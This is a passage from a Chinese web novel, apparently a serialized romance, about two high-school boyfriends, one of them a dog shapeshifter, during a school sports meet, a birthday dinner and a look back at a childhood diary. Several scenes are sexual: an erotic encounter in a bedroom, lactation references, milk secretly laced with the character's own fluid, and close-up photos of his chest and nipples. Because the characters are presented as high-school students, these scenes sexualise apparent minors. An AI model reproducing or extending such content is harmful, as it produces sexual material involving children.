蕾丝腿环不知道在什么时候散开,镂空花边摇摇欲坠地挂到裙摆上,喻修越微微低头扣住他的大腿,指腹在蕾丝边缘摩挲:“是这里疼?” 韩季京“呜”地一颤,在他帮自己重新系紧腿环时俯身凑近,趁机把粉色的唇泥印在镜片上。 只有昨天晚上才非常难受。但韩季京看着喻修越摘下眼镜,用随身带的纸巾慢条斯理擦拭镜片的样子,再次凑过去在他脸颊留下自己的印记。他这次故意蹭了更多唇泥上去,想了想改口说,“…就是很疼啊,所以要你抱着我走!” 喻修越把眼镜放回鼻梁上,不经意间亮出林晓佳给的卡通蛋糕摆件。韩季京立刻又摇摇头,把他胳膊抱在怀里:“对啊对啊,今天显眼包是寿星耶,你还想要什么礼物?” 想要的好像都拥有,而用钱能买到的东西他都不缺,喻修越少见地思考了几秒,视野近距离被韩季京星辰般的眸瞳占据。 镜片反光遮住眼底的笑意,喻修越问:“礼物已经很多,还要给我吗?” “这和数量有什么关系,”韩季京歪歪头,不解地问,“因为喜欢你呀。” 喻修越捏住他的下颌:“嗯…还有呢,那其他喜欢的人过生日你也这样吗?” 韩季京才不会给其他人爆金币,除了依赖成性会考虑喻修越的感受外,他就是个以自我为中心的小坏蛋,秒速咕噜噜补充说:“只给你耶。” 保温杯里的玫瑰茶被韩季京一口气喝了大半,喻修越拉着他回班,在主干道的自动售卖机里买了一瓶牛奶。 最近睡觉前,韩季京总是变成原形对着镜子转圈。 左转三圈右转三圈,大耳朵一抖一抖,黑鼻头凑近镜面哈气,伸出爪子扒拉两下镜子里那只黑白色的“奶牛兄弟”,然后变回人形盘腿坐在床上,一脸认真地思考人生难题,纠结黑白色小狗到底和奶牛有什么区别。 在一次看电视刷到牛奶广告时,他发现自己和奶牛是相同的配色,现在还一样可以挤出白色产物,那除了体型的话还有哪里不一样? 喻修越按着游戏按键问有什么区别,韩季京扯开睡衣领口,在皮肤上左右比划,点点头说:“它不会像我一样自己解扣子!” 喻修越抬头看了眼,淡定地放下玩了一半的游戏,把他沾着可疑液体乱蹭的手捉住:“也不会半夜三点讨论哲学问题?” 奶牛有可以变成人形的吗?成精后会去拍牛奶广告吗?韩季京偶尔在刷到广告时宕机几秒,又迅速被其他事情吸引了注意力。 个别想起来的时候,他会偷偷叼着空奶盒自产自销,把“特调牛奶”灌进盒子里伪装成刚拆开的普通牛奶,假装随意地插好吸管递给喻修越,然后屏住呼吸盯着对方的喉结。 后者总是面不改色地接过去,指尖在盒底的压痕上轻轻摸了摸,把吸管叼在嘴里,末了只勾唇问:“今天加了什么?” 韩季京用尾巴把沙发垫拍得啪啪作响,小心翼翼地接过来舔了下吸管口,味道淡淡的,什么都尝不出来。但有时候喻修越会说加了糖,有时候会说加了草莓,还有时候会说加了鱼丸……他哪里来的时间把这些乱七八糟的东西都加进去。 韩季京咬着吸管,像只牵绳遛弯的小狗一样被喻修越拉着走,跟着走到饮水机旁边,靠在班级后门的门框上等他接水。 他用左手攥着自己的裙摆,盯着上面的光影发呆,看见喻修越转身后下意识挨了过去,对方朝他身后点了点头,好像在和别人打招呼。 方宁司站在他们班前门口,上下啧啧称奇地观察一圈,扬起手打招呼:“生日快乐啊学神,让你对象小蛋糕来跟我咔咔一下!” 韩小点心淑女转头,丸子头甩到脸侧,眼睛一亮:“什么小蛋糕?哪里有小蛋糕?!” “重点是什么啊?”方宁司对于爱吃东西的点心小狗比较宽容,无奈道,“我连你对象生日礼物都没准备,哪里有蛋——下次带给你?” 重点除了小蛋糕还能是什么啊,不过既然说到下次有小蛋糕……韩季京歪头重复了一遍:“咔咔?” “就是双人照片,”方宁司挑了下眉,红色挑染狼尾颜色过亮,拿出手机说:“白毛霖都有,我当然也要啊!” 喻修越随着他的话语看过来,视线在手机屏幕上的双人合照一扫而过,脑海举例出几个可能的照相时间点,墨蓝色的眼眸微微闪了闪。 方宁司照相只接受自拍前置,坚定不用后置摄像头。他的容貌过于锋利,原相机的每张脸都仿佛自带美颜软件夸张的帅哥滤镜特效,真正做到刀削般的下颚线与比剑还锋利的眉骨。再加上身高超过一米九,穿着公主裙的韩小点心和他站在一起,眉眼弯弯时宛如人畜无害的阳光大眼睛软妹。 人畜无害的韩季京在他哼着歌走后翻两个人的照片,下载原图随手保存了几张,划拉着屏幕,手指猛地一顿。 方阵开始前和两只青蛙拍了搞怪九连拍,结束后跟每一个想合影的人都比了耶,就连路过裁判席都被英语老师拉着来了一张合影…… 那他和喻修越的双人合照呢? 韩季京把手机扣在桌子上。一开始貌似是想发朋友圈自拍让其他人夸自己,反正喻修越不夸有的是人夸,但被哄好后就完全忘记…… 不对,韩季京顿时警惕不满,显眼包今天还是没有夸我好看! 一次二次三次…他掰着手指算数,喻修越中午没有夸他好看,入场结束没有说他滑的完美……韩季京不想被敷衍怪打倒,打定主意准备明天早上起来就闹脾气让喻修越猜—— “那全世界最漂亮的点心公主殿下,喜欢红茶还是茉莉绿茶?” 喻修越从抽屉里拿出茶包,夹着包装绳轻轻一晃,好像知道他在想什么,嘴角藏着很浅的笑意。 红茶还是绿茶,喻修越每次说出的选项都不是最后放进去的那个,韩季京敏锐捕捉到称呼里的‘漂亮’二字,达成全世界最快速被哄好记录,扑过去欢快地用脑袋蹭了蹭他,眸瞳像浸泡在焦糖里的茶色琥珀:“都喜欢!” 喻修越手腕一翻,变魔术一样又摸出一包蜜桃乌龙扔进杯子里:“最喜欢哪一个?” 这根本就是在“Yes or No”的问题里塞了个“Maybe”,韩季京鼓起腮帮子,选择中间的‘or’:“最喜欢显眼包!” 他想说我们今天没有拍双人合照诶,又觉得刻意说出来让喻修越摆姿势好奇怪。韩季京坐回去盯着他的侧脸看,嘴里咬着已经喝完了的牛奶吸管,直到塑料管被犬齿磨出细小的划痕,才突然意识到一件事情。 他们两个人,好像从以前到现在,所有的合照都只在别人的手机里出现过。 喻修越很少自拍,很少入镜,出去也是一直在给他拍照。他们之间似乎保持着这样的默契:喻修越总是勾唇笑着站在镜头后方,而韩季京永远张扬地活在画面中央。 那些被后者挑挑拣拣留下的照片安静地躺在前者的手机里。从喻修越小学三年级拥有第一部智能机开始,到现在的每一张都记录着黑白小狗最鲜活的瞬间。 韩季京一出门就只顾着去看自己喜欢什么,反正不管过程如何,最终他的想法总是会被满足,根本不会在意今天和那些人照了什么相,更别提记着要和喻修越拍照留念。 他拿起桌子上的手机熟练地用指纹解锁,打开相册,第一页不出所料,果然全是今天他穿公主裙的模样:刚化好妆冲镜头比耶的狡黠,滑板腾空时自信的笑容,连叼着吸管发呆的侧脸都被捕捉得格外好看。 韩季京指尖一滑,点开相册详情,看到自建相册的一句话介绍:【最好的构图位置,要留给摄影师本人。】 喻修越扣住手中的保温杯,上升的热汽模糊了镜片:“怎么又在自恋?” “没有在自恋!”韩季京捧着手机,靠过去时,橙白色裙摆大幅度扫落桌面的文具,“我是在很认真地想……”他张嘴咬住对方的下唇,含糊不清地表态,“全世界最最喜欢你!” 被咬住的人似乎闷笑起来。 喻修越的唇瓣被犬牙咬得生疼,他弹了弹韩季京耳朵上的耳扣,一直等到被放开才缓缓开口:“我知道啊…我也一样。” 两双颜色不一样的眸瞳近在咫尺,他轻描淡写地揭过话题:“还想吃什么口味的小蛋糕?” 韩季京想了想,回答说:“看妈妈做什么。” 运动会期间的晚自习,一般只要不太过分就干什么都可以。可以很多个人聚在一起玩狼人杀、打开多媒体看纪录片、动漫、电影……只要自习课不上课,班主任说能走,走读生都会选择提前离校。 因为已经提前约好,两个人在六点二十踏入家门。 蓬松的裙摆在进门那一刻被院子里的铁钩勾住,他手忙脚乱地伸手去拽,下意识回头看和自己一起进来的人。 “别乱动,”喻修越站在他身后半步,按住乱动的裙撑骨架,另一只手灵巧地解开被勾住的蕾丝,“不然这样会走光。” 韩季京对这件事完全不在意,反正他生理性别摆在那里,身材有型颜值顶尖,恨不得炫耀给所有人看。但喻修越的语气听起来很认真,他现在尚且还穿着裙子,便乖乖站在那里等着他动作完毕。 妈妈从二楼厨房向下探出头,围裙上还沾着面粉,手里举着正在滴蓝莓酱的刮刀。看到他身上的裙子,思索着笑道:“穿这么漂亮回来,怎么进门就变成脏脏包啦?” 韩季京拉着喻修越的手往里面走,仰起头理直气壮地说:“但我脏兮兮的也很好看啊!”他顿了下,又补充道,“而且脏脏包听起来也很好吃诶……” 再好吃也是由巧克力做成,韩季京把挎包扔进房间里的沙发,看到桌子上的草莓大福,鼻尖不自觉地抽动两下,等反应过来时,好吃的甜点已经被塞到了嘴里。 喻修越在他身后跟着走进来,反手关上门,看到韩季京正站在那里努力把嘴里的大福咽下去,像是被噎到,雪白色的豆沙黏在唇角,泪眼汪汪地看过来。 “显眼包……” 喻修越不急不缓地把手上的保温杯递给他,韩小点心委屈巴巴喝了一大口,动作太急,水珠顺着下巴不断滑落,把脖子上的蕾丝choker浸出深色的痕迹。 突然冒出来的尾巴在裙子里不安分地左甩右甩,他放下杯子,下意识摸了摸自己的大耳朵,裙摆被天生上翘的尾巴高高撑起,露出下方被蕾丝腿环紧缚的大腿,在更隐秘的内侧,依稀可见昨晚留下的淡粉齿痕。 韩季京揪住蓬松的裙摆往上提了提,裙撑硌的他尾巴很不舒服,抬起头拖着尾音撒娇:“好难受耶显眼包,你还要看吗?……快摸摸我的尾巴。” 公主裙背后的绑带被他自己扯开,领口松垮垮地露出精致的锁骨,腰侧的皮肤也连带一起泛起粉红,喻修越再次捏到下午的位置:“那这里还疼吗?” 韩季京眨眨眼睛,耳朵向外翻飞,翻身坐到他腿上,环住他的脖子哼哼唧唧:“这里好奇怪…” 喻修越的手指顺着腿侧缓缓上移,在触到腿环边缘时停顿了一下,指腹若有似无地摩挲着那圈被腿环勒出的红痕。随后准确地握住尾巴根部,用指腹不轻不重地揉捏起来。 【】 韩季京的身体顿时控制不住地有些发抖。他把整个身体几乎都要缩进喻修越怀里,变成小小的一团小狗点心。 头脑在一瞬间变得热热的,韩季京将发烫的脸颊抵在对方肩膀,却冷不丁又被叼住敏感的耳朵。 喻修越的另一只手顺着后腰的绑带探进去,顺着腰线向上,熟练地揉捏需要帮助的地方。 指尖的触感微微湿润。 锁骨下方的地方几小时前才处理过,被碰触后,此刻只勉勉强强地挤出几滴一抹就不见的。 “呜……” 韩季京从喉间溢出一声甜腻的惊喘,在喻修越放开后,猛地用手按住自己湿漉漉的耳朵。尾巴在裙摆间胡乱拍打,蕾丝腿环在大腿歪斜,掉落到地板之前,在大腿勒出几道诱人的红痕。 喻修越的手停在他的腿侧,凑近了点问:“觉得奇怪吗?” 韩季京摇摇头,又晕乎乎地点点头,眸子氤氲着水汽,像被浸泡过夜的红茶。他掀开裙摆,被反复蹂躏的皮肤一片狼藉,新出炉的指痕与残存的齿痕交织,构成一幅旖旎的图案。 “…显眼包,”韩小点心迷迷糊糊地凑过去亲他,用发颤的手指无意识地揪住喻修越的衣领,唇齿还带着草莓奶油的味道,尾音软得不成样子,“我想吃草莓小蛋糕耶……” 喻修越再次把他的耳朵叼住,大耳朵在齿间可怜兮兮地抖动着:“我在吃点心小蛋糕。” 面前人的眼尾都洇开一片绯红,过度敏感的身体层层叠叠地传来酥麻感…韩季京在家里一向没有什么羞耻感,呜咽着乌尔几声,任由自己的耳朵被当成甜点品尝。 他隔着复杂的蕾丝布料揉了揉自己的胸口,被束缚凹陷的腰线随着呼吸起伏,指尖触碰到略微湿润的衣料,什么都没露出的上半身在对方的目光下也好似变得毫无遮挡。 韩季京咬住他的肩膀,把自己重新埋回喻修越怀里。 带着鼻音的撒娇声从喉间发出,发颤的尾音像融化的糖点,大耳朵小狗晃了晃脑袋,蕾丝裙摆摩擦出细碎的声响:“…呜…好难受诶…显眼包,你帮帮我耶……” “咚咚——” 突如其来的敲门声截断韩季京的话语,门外传来妈妈温柔的声音:“收拾好了吗?下来一起吃饭。” 韩季京还没来得及反应过来,喻修越修长的手指就已经探入他微张的唇瓣,精准夹住了那截柔软的舌尖,物理意义止住他下意识想要大声回复的动作。 手上的触感温热细腻,喻修越的语气温和平静:“好的妈妈,我们马上。” 犬齿磕碰到指节,闷出细碎模糊的水声,被束缚的舌根传来微妙的酸胀感,韩季京茶色的眼睛骤然瞪大,卷曲睫毛上的亮片也被水汽沾湿,尾巴发颤着,又僵硬地一动也不动。 喻修越帮他把裙子的绑带重新系上,抽出一旁的卫生纸,轻轻按压在他发红的眼尾:“去吃小蛋糕?” 韩季京吐了吐发麻的舌头,撑着喻修越的肩膀试图起身,却因颤栗的余韵而一个踉跄,被迫站在那里等待身体适应过来。 顿了两秒,他又把脸放在喻修越肩膀,趴在他背上重复地说:“想吃草莓小蛋糕……” 喻修越想到刚刚进门时看到的蓝莓刮刀,思索开口:“明天给你买?” 明天吃也可以,只要有小蛋糕就会心情变好……韩季京托着腮帮子望向餐桌中央的蓝莓蛋糕,奶油上点缀的蓝莓泛着晶莹的光泽。 他眨了眨眼睛,拽住裙摆上的蕾丝花边,把手上的蛋糕碟推给喻修越。 “今天只做了蓝莓蛋糕。”妈妈在饭桌上观察了两秒,笑眯眯说,“现在想要许什么愿望?” 愿望说出来就会变得不灵。 韩季京的右腿在桌子下方蹭到喻修越膝盖,后者伸手按住他想要偷吃蓝莓的手,蓝色的眸瞳微微眯起,对着韩小点心凑过来的大耳朵,刻意放轻声音说:“需要保密。” 第86章 运动会期间, 关于走读生的到校去向查得不严。 韩季京报的跳远和跳高都在下午,第二天早上没有项目,和喻修越闹到凌晨后意识不清地睡到七点四十, 被床头的小狗闹钟“叮铃铃”吵醒。 眼皮睁开又合上、合上又睁开,韩季京把头夹到枕头里咕噜噜翻了个身,嘴巴吧唧两下, 趴在喻修越身上摸出手机给班长发微信,认真地和她谈论‘关于早上忍不住赖床这点事’的话题。 他的用词太过可怜兮兮,再配上黑白小狗流泪的表情包, 不过两三句话, 班级的间谍头子就打包票说:【okay,老柳早上在门口站几秒就走了,放心吧, 八点看台查人的话我给他说来齐了!】 这三行字不长不短,在屏幕上组合显现时实在令人安心。韩季京用表情包给做事可靠的班长送了六朵粉色的小星星,再一个翻身变成黑白色大耳朵小狗。 身下的枕巾被揉成一团,他伸出爪子去刨喻修越的衣袖, 动作飞速且用力地在衣料间挖土。 后者半睁开眼, 对着眼前不断摇摆的挺翘尾巴看了几秒,从善如流地用手掌捞起柔软圆润的身体, 平稳地举着狗换了个地方,让他去祸害自己的另一只胳膊。 黑白色小狗喜欢被举起来。 他在身体腾空的瞬间高高扬起脑袋, 像是巡视领地的小狗皇帝,甩着大耳朵发出满足的哼唧。被放下来后,又飞速用前爪扒拉着抱住喻修越的胳膊,再把毛茸茸的脑袋往臂弯里一埋,等到湿漉漉的鼻尖触碰衣料, 整只狗便乌尔一声,舒舒服服地窝进去,把自己团成带着奶香味的双色毛球。 大耳朵小狗闭上眼睛,喉咙里随即溢出绵软的呼噜声音,湿润的鼻息随着身体起伏一呼一吸,喷散在衣料上,尾巴尖也连带着一起颤抖。 喻修越动了动酸麻的胳膊,给黑白色狗头以下的身体部位盖上被子,关掉手机里四寸草莓蛋糕的预约界面。 这条胳膊整晚都僵着一动不动,血液不通的麻木感早已蔓延到肩膀,刚刚被爪子用力胡乱扒拉也没有多大感觉…喻修越思索着缓缓张开手掌,眯起眼睛,看到手指指节上几枚新鲜出炉的泛青牙印。 韩季京受不住时就会给嘴里乱塞东西,不是咬被子就是叼枕巾,然后趴在抱枕上用手捂住自己的耳朵,好像这样就能止住变调的音节。但现实情况往往和他预料相反,□□坏事的人碰到他发颤的犬齿,还没等拽出湿答答的布料,呜咽就变成黏腻的哭腔。 而在移开遮挡在胸侧的手臂后,挤压在抱枕上的半边柔软从侧方去看就变得一览无余。喻修越把懵掉的小狗扣着腰窝翻过来,他就会侧着蜷缩起身体,无意识地用聚拢在一起的软包裹住他的胳膊乱蹭。 就和现在一样,被毛茸茸的身体紧贴在一起。胳膊上挂了只狗,喻修越盯着他看了一会儿,随意转了下微酸的手腕,拿起一旁的气垫梳给睡帅狗顺毛。 没有强制要求的到校时间,睡美人帅小狗美美睡到十一点半。 醒来后,他在房间里来回跑了三圈,对着穿衣镜自恋了几分钟,转身咬住落了一角在地上的空调被,甩着头把它全拖下来,再踩着自己的战绩一个助跑跳上床,扑到喻修越脸上超大声乱叫一通,把他泰山压顶强行开机。 被袭击的睡眠群众精准地伸出手捏住狗命运般的后颈皮,同时伸手去摸柜子上的眼镜,摸到了半截被咬断的眼镜框。 一脸无辜的小狗被拎到空中就开始挥爪子刨空气,尾巴尖一甩一甩,喻修越把他放下来,又捂着耳朵变成人说:“显眼包,我梦到我吃了一百个小蛋糕诶!” 他睡着后意识就跟死掉了一样,但总能感觉到自己在咬什么东西。 韩季京做梦梦到自己被召唤成为异世界大魔王,坐在白骨堆砌的王座上,脚下跪着一百名瑟瑟发抖的人类厨师,战战兢兢地为他制作小蛋糕和甜点。 在他美滋滋往嘴里塞草莓慕斯时,城堡大门轰然倒塌,黑发蓝眼的覆面系勇者提剑缓步而来,慢悠悠地说:“魔王,你的统治到此为止了。” 韩季京警惕地看着突然出现的人,对方的蓝眼睛有些眼熟,还没思考出来结果,对方突然收起长剑,反手掏出一把锅铲,技能栏金光一闪:“神级烹饪真理之味。” 淋着蜂蜜的金色炸鸡从他手中浮空而起,以猝而不及掩耳之势飞到韩季京的嘴里。下一秒,视网膜中浮现出一连串的系统提示: 「神级烹饪真理之味」生效中 〖技能分析:食用者将显露出灵魂本质形态:锁定目标-比格の破坏魔王〗 韩季京眼前的景象天旋地转,橙蓝相间的魔王袍突然炸开,一只黑白相间的比格犬踩着袍子踉跄落地。 韩季京低头看了看自己毛茸茸的爪子,又抬头扫过满屋子呆若木鸡的人类厨师,最后目光落在餐车里闪闪发光的草莓蛋糕上,连忙冲过去多啃了三块小蛋糕。 离谱的梦境回忆到这里终止,韩季京趴过去舔了舔喻修越的嘴角,把胸前发育过度的——用无痕背心束缚住,艰难地拉上拉链,用手比划着下一次又要买大多少号的背心。 这是喻修越该操心的事情。韩季京不擅长买东西,想了几秒就放弃思考,从他身上利落地撑手跳下床,套上宽松的白色运动短裤。 下午两点前到学校就可以,时间比早上去学校要宽松不少。 喻修越收拾完就开始翻书学习。韩季京跟着背了两页英语单词,草草算完一道函数大题就丢开笔,三步并作两步拉着痴迷于解题的学霸蹦下楼梯,欢快地吃完了妈妈做的爱心午餐,一头倒在沙发上开始玩平板游戏。 一点半,他在滑板上扯住喻修越的袖子,让后者拐进路边的蛋糕店给自己买可以上课偷吃的甜点,如愿以偿地捧着两盒蛋挞和提拉米苏哧溜滑进教室后门,和不想去看台晒太阳的邱扬北一起看了两集二十分钟的《荒野求生》。 下午跳高和跳远是紧挨着的。 喻修越膝盖半抵在空地上,塑胶颗粒的触感透过校服裤传来,他左手稳稳扶住摄像机,右手不紧不慢地调试着焦距,镜头对准助跑线上的身影,跳高垫旁的横杆被风吹得轻晃。 吵闹烦杂的声音在周围响起,焦距环在喻修越指尖缓缓转动,镜头里的世界一点点清晰起来,直到韩季京的脸完全出现在取景框最中心。 镜中人正低着头调整呼吸。风吹乱额前的黑色卷发,发梢扫过眉骨,他抿着唇侧头,下颌线绷出锋利的弧度,阳光在睫毛下投落出纤长的卷曲阴影。 像是察觉到他的目光,韩季京猛然抬眼,整个人在逆光中镀上金边,虹膜呈现出漂亮的茶红色,如同跑道上散落的星芒。 “咔嚓。” 喻修越的指腹先于意识按下快门。 下一秒,助跑线上的人突然压低了重心。 蹬地、起跑…最后三步的节奏骤然加快,腿部的肌肉紧出凌厉的线条。腾空时,身体在空中弯出一道新月般的背弓,过杆的瞬间,校服下摆因惯性翻飞,露出腰侧凹陷的肌肉轮廓。 镜头里的人飞速落地,缓冲垫发出沉闷声响,几粒红色塑胶颗粒粘在汗湿的皮肤上,在紧绷的皮肤上拖出晶亮的水痕,像撒在熔岩蛋糕上的糖霜。 “破纪录了!……” 裁判的喊声被风吹散。韩季京躺在垫子上一个翻身站起来,被秦皓璜一把冲上来欢呼着搂住。 塞进怀里的矿泉水瓶带着凉意,韩季京仰头灌水时,余光忽然瞥见喻修越依然对准他的摄像机镜头。 他对着镜头挑眉,沾水的唇角勾起肆意张扬的弧度。喻修越的食指缓缓移动着变焦环,直到取景框里只剩下对方随着呼吸起伏的、被汗水打湿的锁骨轮廓。 韩季京灌完一整瓶水,和秦皓璜几个打完招呼后自然地凑过去贴住他,把下巴顺势搭在喻修越的肩膀上。 胸肌隔着校服传去温热的触感,没等回答,韩季京已经一把拿过他手上的摄像机翻看。 连续拍摄的几十张照片里,除了最开始和结尾的几张,中间全是他起跳时腾空衣摆下皮肤的特写。 衣摆翻飞时被运动胸衣束缚住的饱满轮廓、汗水浸透的布料下若隐若现的乳首形状、腾空时胸肌因发力而绷出的清晰沟壑…… 韩季京一张一张地认真翻下去,看完后不满地瘪嘴,一口咬住他的肩膀:“我的脸呢?” 喻修越把摄影机拿回来关上,截断显示屏上的腰线特写,另一只手的指腹摩挲过韩季京被垫子擦红的腕骨,握住他的手腕起身。而后慢条斯理地回答:“在另一个摄影机里。” 韩季京眼睛一亮,凑近时还带着阳光的气息:“在哪里耶?” “1080P高清,每秒60帧…”喻修越语气带笑,没有镜片遮盖的墨蓝色的瞳孔闪着光斑,韩季京在那汪海水里看见自己放大的倒影,不由得略微歪了歪头。 像是感觉到他有些笨蛋,喻修越把内存卡取下来放进校服兜,慢悠悠补充说:“……我的眼睛里啊。” 眼睛里怎么可能会有摄像机。韩季京凑近了点,鼻尖几乎贴上喻修越的鼻梁,故意哼着接话说:“那我看着你,也在给你照相诶。” 茶色的瞳孔骤然在眼前放大,喻修越点点头,把摄像机的带子绕在手腕上,蜻蜓点水般地碰了碰他的鼻尖。 “要吃小蛋糕吗?”喻修越勾起唇说,“我点了草莓味的。” 韩季京立刻重重一口亲到他唇瓣上,扯着喻修越飞般跑去宿舍楼旁边的铁栏杆,把蛋糕抱进怀里,头发上顶着几片不知道从哪里落下来的粉色花瓣,哼着歌回了教室。 都在操场活动,教室里没有人,喻修越把摄影机放在桌子上,转了转手腕,超经意开口说:“刚刚举着好累。” 韩季京拆盒子的动作一顿。他掀起眼皮快速看了喻修越一眼,加速拆开包装的动作,拿着勺子挖了一大口蛋糕塞进嘴里,才伸出抓住喻修越的手腕。 “那怎么办诶?”韩季京仰起脸,鼻尖还沾着一点奶油。他努力咽下嘴里的蛋糕,忽然前倾身体,眨眨眼睛说:“亲亲你会好一点吗?” 教室里安静得能听见最前方钟表转动的声响,摄像机自动对焦的“滴滴”声格外清晰。 “嘴角…”喻修越突然开口,因为镜框被弄坏而视野模糊,眯了眯眼睛,声音比平时低半度,“……有奶油。” 韩季京下意识伸出舌尖舔了舔,叼着塑料勺又挖走一大块蛋糕,干脆直接贴到他身上把奶油都蹭过去。鼻尖的奶油被全数抹在喻修越的校服衣领,再抬起头,在后者的脸颊留下湿润的奶油唇印。 喻修越低头看着自己惨不忍睹的脏脏校服,捏住韩季京的下巴,用纸巾一点一点把他的嘴角擦干净。 “你的校服脏了诶。”韩季京的睫毛在阳光下扑闪,说话时,嘴唇蹭过喻修越的指腹。 “我知道啊,”喻修越摸了摸他的犬齿,“那你要给我洗吗?” 韩季京抓住他手腕的手还没放开,想了想回答:“但是我只会用洗衣机洗。” “洗衣机也可以。”喻修越将沾满奶油的纸巾团成球投入后方的垃圾桶,把被摄影机压住的本子抽出来。 韩季京对他的东西都很好奇,趴过去看:“这是什么耶?” “嗯…”喻修越开了个玩笑,“韩小点心的小学生交换日记?” 韩季京叽里咕噜地滑过来,完全没有任何印象,盯着上面歪歪扭扭的字迹,看到旁边还有他画的黑白色小狗啃蛋糕简笔画。 【5月20日 今天显眼包送给我超级大的草莓蛋糕!(画了五个歪歪扭扭的草莓,配字:我数过了耶!) 妈妈说要懂礼貌,我就把最红的草莓分给他。可是显眼包说不要草莓,要亲亲。妈妈也说表达喜欢就是亲亲,我就抓住他的脸亲了好多下,他脸上沾到奶油,剩下的都被我吃掉。 超级喜欢显眼包! ps:显眼包今天穿蓝色背带裤,像电视里的小企鹅 pps:拉钩钩的时候他偷偷给我塞了水果糖!但是被老师发现了,老师欺负小狗!(小狗掉眼泪)】 韩小点心歪歪头,问:“我什么时候写的诶?” 第87章 韩季京完全忘记自己小学时写过日记。 但这不能够怪他, 写日记的原因一共有三个,却没有一项是能够让他记住这项活动的。 第一个是因为妈妈说坚持写日记的话会给他买小蛋糕,但是他发现不写也可以吃到, 而且还有喻修越每天准时给他投喂各种小零食,那写不写就没有什么区别。 第二个原因是刚开始学校要求每周上交日记,但大部分人到截止日期都表示自己不愿意把写的东西给别人看, 最后老师干脆就不收了。 还有一点是,班里有好多小朋友都想和他互换日记,但是韩小狗晕字, 每个人都满足的话就要一天写好几本, 这简直太累,没有实质性好处的事情他不愿意做。 更何况他写的东西第二天他自己都不记得,加上三分钟热度作祟, 一共坚持的时间都不到三十天。 韩季京盯着圆滚滚字体旁那只粗糙简略的简笔画小狗——确实是他的手笔没有错:小学三年级,他知道自己是一只小狗的那段时间,喜欢给每一幅画的黑色鼻头都加上白色斑点。 喻修越抽了几张纸,靠在窗边平静地把衣领和脸颊处的奶油抹掉, 看着他趴在桌子上, 从头到尾开始翻这本不到二十页的日记。 韩季京用手摸了摸第二页的艺术爪印签名,郑重其事地抬起头, 用发现新大陆般的语气惊叹:“我小时候竟然是这样的吗?!” 他吃东西根本不会记得,只要抓到手上都是他的。但小时候居然连喻修越给的每一个零食都能详细记录, 就像是第三页这样: 【3月21日 今天显眼包给了超级超级多的好吃的!有点吃撑了QEQ 糖果记录: 十八颗粉红色包装的草莓软糖(画了八颗红色的草莓) 五颗橙子味硬糖(小字备注:好奇怪的味道,不喜欢这个!) 两颗li枝味糖果(小字备注:但是上课时弄丢了,附赠小狗哭哭简笔画) 其他: 两包酸奶(小字备注:喜欢香蕉味的!) 一个画着白色小狗的纸杯蛋糕(小字备注:wo机智地用中性笔涂黑了它的耳朵!) …… ps:一个糖果算一个亲亲,现在欠显眼包好多好多亲亲,怎么办数不过来、、(用铅笔涂了很多杂乱的圆圈) pps: ` (颜文字)】 韩季京学着日记本上的语气举例子:“今天晚上显眼包会给我买七颗特别好吃的鱼丸、两个……” 喻修越重复把纸扔到垃圾桶里的动作, 笑了下问:“两个什么?” 韩季京想了想:“…两个脆骨肠?” 他看起来有点纠结,又开口说,“淀粉肠或者肉肠也可以……” “——你们怎么在教室?!” 秦皓璜的声音突然从后方传来,喻修越微微侧头,看到他和笑得近乎于猥琐的邱扬北一前一后地从门口拐进来。 前者几大步奔到讲台边的座位,拿起水杯狠狠灌了一大口。 “我靠!”秦皓璜把水杯砸在桌上,代表运动选手的号码布还在胸前没有摘下来,抹了下嘴说:“点心你是没看到,刚刚有个变态男裸奔抢我线啊!不知道从哪冒出来的……老子累死累活跑完,马上到终点了,那家伙直接从我眼前飙过去把我红线抢了!” 他状似深沉握手:“我势必要夺回属于我的荣耀——!” 韩季京“啪”地合上本子,从日记本里抬起头,提取到关键词,眼睛瞬间亮了起来:“真的假的?有视频吗?!” 在后方邱扬北肯定的点头里,他一把拿起桌子上的手机,手指飞快地点击屏幕,“邱邱人你录了……等一下,方宁司给我发了!” 方宁司还在学校啊。 韩季京以为他第二天肯定请假不来了,但对方就是一个想一出是一出的,他随手打字问了句,滑动聊天记录点击播放视频。 画面上,刚开始的镜头在剧烈摇晃,几秒后虚焦对准跑道,一个人影正拼命往前跑,身形几乎□□,只剩一双鞋还在脚上。 背景音全是尖叫和爆笑声音,拍摄者在镜头平稳后将镜头放大:那人表情扭曲,介于“想死”和“拼了”之间,一边大喊着“我沈河园思想肮脏,是个变态!”一边飞速超越由喜悦转为懵逼表情的秦皓璜,直直冲过被拉起的红绸带。 惯性让他踉跄了几步才刹住,手忙脚乱地弯腰盖住关键部位,结果下一秒被自己绊倒,整个人一头栽在塑胶跑道上。 方宁司配字:【来自我对象的复合礼物】 他继续补充:【早知道中午直接跑了,服了哥们,眼睛有被污染到。】 韩季京狗生第一次见这番震撼场面,只恨自己真人不在现场,正想要打字捧场回复,死去的回忆却突然开始攻击他。 好像,貌似,大概,也许…不对。 嗯,他小时候确实也有过一段“裸奔黑历史”。 在刚上幼儿园那会儿,韩季京对衣物有着纯天然且理所应当的抗拒,那些繁琐的纽扣、扎人的标签都让他觉得浑身不自在。 每次早上被妈妈哄着穿好衣服戴上小帽子,到学校后转眼就会找个没人的角落偷偷脱光,拉着喻修越一起在院子滑梯和沙坑之间快乐地穿梭——他负责玩土,喻修越负责给他看衣服——然后在莫名其妙知道他在这里、匆匆忙忙赶来的保育员老师不赞同的目光下,瘪着嘴任由老师给自己把衣服穿上。 现在当人当久了自然也有人的心理,一想到这件事就觉得略微羞耻,可那都是幼儿园了,现在他又不会脱衣服裸奔。 韩季京只被回忆攻击了不到一秒就放下芥蒂,看乐子一样上学校表白墙再吃了波瓜。 看着论坛里爆掉的讨论话题,韩季京手指一顿,正想要抬头和喻修越分享感悟,又被屏幕最上方那几条来自表哥的消息弹窗吸引了视线: 牢记HWD没有第六个人:【链接分享】 牢记HWD没有第六个人:【世赛发票了,那会儿你放假了不没点心?】 ……世界邀请赛? 他都忘记说要去这个了。韩季京把邀请函链接直接翻到最后,看到定下的比赛时间是在学期末考试前的周内,在脑海里简单比对一番,发现去的话时间有点勉强,更何况:【我高三得补课到7月25日QAQ】 小心地滑:【黑白小狗哭哭JPG.】 牢记HWD没有第六个人:【雪貂探头凑近JPG.】 牢记HWD没有第六个人:【那你不是想来?还有你朋友,你哥我苦练技术整整三年,势必让全世界看看什么叫冠军HWD好吧?!】 牢记HWD没有第六个人:【按进度的话你们应该只剩复习了,请假的话应该没问题!】 